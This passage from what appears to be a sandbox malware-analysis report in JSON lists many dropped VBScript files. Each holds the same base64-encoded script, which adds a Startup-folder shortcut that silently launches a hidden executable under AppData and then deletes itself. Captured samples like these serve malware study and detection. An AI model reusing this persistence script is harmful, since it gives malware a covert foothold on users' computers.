File","process":null,"filename":"startup124481.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNDkxNTA0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3019309.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNDkzMTU5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup276877.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNTU5MjcyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7944398.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNjI3MDQxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2879488.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszODMzNjk0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7036682.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0Mzk3NjQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2031697.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NTU1MzQubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9321933.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NTk0OTY1LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9936131.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NzMyOTg4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6687259.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0OTMwMzA2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4601692.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs1MTk5ODMubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7732691.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs1MzM5MjIxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7597624.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NDIzODIyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6544173.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTQ4MTc5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7419274.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTYwMDAwLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup562985.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTYwODMyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup196366.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2ODkwMzY4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1446647.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2OTkwNDgyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6752483.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs3NTk5MDExLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9069048.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4MzcxODczLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4770668.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4Mzc1MTkyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295000.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4Mzg1MzU4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7171143.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NDQ5ODA4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5581901.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NjQ1MDYxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2431673.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NzI3NTQ4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped 